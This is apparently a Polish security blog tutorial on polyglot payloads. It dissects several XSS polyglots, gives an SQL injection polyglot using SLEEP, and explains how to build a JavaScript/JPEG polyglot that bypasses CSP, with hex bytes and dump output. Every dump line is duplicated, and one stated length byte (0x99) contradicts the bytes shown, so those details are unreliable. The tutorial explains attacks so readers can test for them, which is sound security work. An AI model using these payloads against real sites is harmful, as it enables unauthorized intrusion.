Czym są i jak używać polygloty?

Aby pokryć wszystkie możliwe scenariusze podatności (na przykład) XSS znanymi paylodami, trzeba by było poświęcić dni jeśli nie tygodnie pracy. Świadczy o tym chociażby wielkość potencjalnych wektorów ataków udostępnionych przez firmę PortSwigger. Polygloty są czymś w rodzaju „uniwersalnego” payloadu składającego się z kilku innych. Należy pamiętać jednak, że polygloty są często nieskuteczne w pracy z systemami wykorzystujące WAF. Dzieje się tak dlatego, że system z odpowiednio przygotowanymi sygnaturami nie dopuści naszego żądania do docelowego miejsca.

Analiza polyglotów

Aby lepiej zrozumieć budowę polyglotów, przeanalizujmy jeden z nich.

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Na początek rozbijmy polyglot na części pierwsze.

  • jaVasCript: – etykieta w ECMAScript; w przeciwnym razie schemat URI.
  • /*-/*`/*\`/*'/*"/**/ – komentarz wielowierszowy w ECMAScript; sekwencja łamania literałów.
  • (/* */oNcliCk=alert() ) – strefa wykonywania zawinięta w nawiasy wywołujące,
  • //%0D%0A%0d%0a// – jednowierszowy komentarz w ECMAScript; podwójny CRLF w nagłówkach odpowiedzi HTTP,
  • </stYle/</titLe/</teXtarEa/</scRipt/--!> – sekwencja łamiąca znaczniki HTML,
  • \x3csVg/<sVg/oNloAd=alert()//>\x3e – element svg.

Kilka innych ciekawych przykładów polyglotów znajduje się poniżej.

 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//> 
 javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/&lt;i<frame */ onload=alert()//</script> 
 javascript:alert()//'/*`/*"/**/;alert()//%0D%0A-->'>"></title></textarea></style></noscript></noembed></template></select>&lt;svg/oNloAd=alert()&gt;<FRAME onload=alert()></script>\";alert()//<svg/oNloAd=alert()> 

Polygloty SQLi (SQL injection)

Podobnie jak w przypadku kodu Javascript, możemy utworzyć polygloty z użyciem języka zapytań SQLL. Jako przykład może posłużyć kod zaproponowany przez badacza bezpieczeństwa Mathiasa Karlssona.

SLEEP(1) /*’ or SLEEP(1) or’” or SLEEP(1) or “*/

Polygloty Javascript/JPEG

Do tej pory analizowaliśmy polygloty XSS oraz związane z językiem zapytań SQL. Możliwe jest jednak utworzenie polyglotów bezpośrednio związanych z jednocześnie językiem Javascript jak i formatem JPEG. Docelowo miałoby to pomóc ominąć Content Security Policy na stronach wykorzystujących zdjęcia przesłane przez użytkownika. Wyzwanie utworzenia takiego polyglotu podjął się badacz Gareth Heyes, a cały proces opisuje on w udostępnionym artykule.

W skrócie utworzenie polyglotu polegało na skonstruowaniu pliku, który byłby zarówno poprawnym plikiem JPEG jak i Javascript. Możliwe to jest ponieważ oba z formatów nie wykluczają się nawzajem.

Pierwszym krokiem do utworzenia uniwersalnego pliku było ustawienie dwóch pierwszych bajtów jako zmienną Javascript (0xFF 0xD8 0xFF 0xE0). Dwa kolejne bajty nagłówka (0x2F 0x2A) określają jego długość. Później znajduje się wielowierszowy komentarz Javascript wraz z zerami dopełniającymi 0x2F2A.

FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....

Komentarz JPEG zaczynamy dwoma bajtami (0xFF 0xFE) oraz określamy jego długość (0x99 0x1C). Kolejne linie kodu to komentarz Javascript wraz z payloadem (*/=alert("Burp rocks.")/*).

FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A

Następnie musimy zamknąć komentarz JavaScript. W opisanym przypadku zostały edytowane cztery ostatnie bajty obrazu. Oto jak wygląda koniec pliku:

2A 2F 2F 2F FF D9

W zrozumieniu powyższej logiki może pomóc nam wyjście standardowe polecenia file oraz hd -C.

──$ file xss.jpg
xss.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 12074, comment: "*/=alert("Burp rocks.");/*", baseline, precision 8, 450x68, components 3
──$ hd -C xss.jpg 
00000000  ff d8 ff e0 2f 2a 4a 46  49 46 00 01 01 01 00 48  |..../*JFIF.....H|
00000000  ff d8 ff e0 2f 2a 4a 46  49 46 00 01 01 01 00 48  |..../*JFIF.....H|
00000010  00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.H..............|
00000010  00 48 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |.H..............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00002f20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  |................|
00002f20  00 00 00 00 00 00 00 00  00 00 00 00 00 00 ff fe  |................|
00002f30  00 1c 2a 2f 3d 61 6c 65  72 74 28 22 42 75 72 70  |..*/=alert("Burp|
00002f30  00 1c 2a 2f 3d 61 6c 65  72 74 28 22 42 75 72 70  |..*/=alert("Burp|
00002f40  20 72 6f 63 6b 73 2e 22  29 3b 2f 2a ff db 00 43  | rocks.");/*...C|
00002f40  20 72 6f 63 6b 73 2e 22  29 3b 2f 2a ff db 00 43  | rocks.");/*...C|
00002f50  00 03 02 02 03 02 02 03  03 03 03 04 03 03 04 05  |................|
00002f50  00 03 02 02 03 02 02 03  03 03 03 04 03 03 04 05  |................|
00002f60  08 05 05 04 04 05 0a 07  07 06 08 0c 0a 0c 0c 0b  |................|
00002f60  08 05 05 04 04 05 0a 07  07 06 08 0c 0a 0c 0c 0b  |................|

Polyglot innerht

Polyglot innerht jest stroną na której użytkownicy mogą zgłaszać swoje własne polygloty. Część z nich przetrzymuje nawet 20 kontekstów.

Źródła

https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
https://dev.to/caffiendkitten/xss-javascript-polyglots-4i64
https://www.slideshare.net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *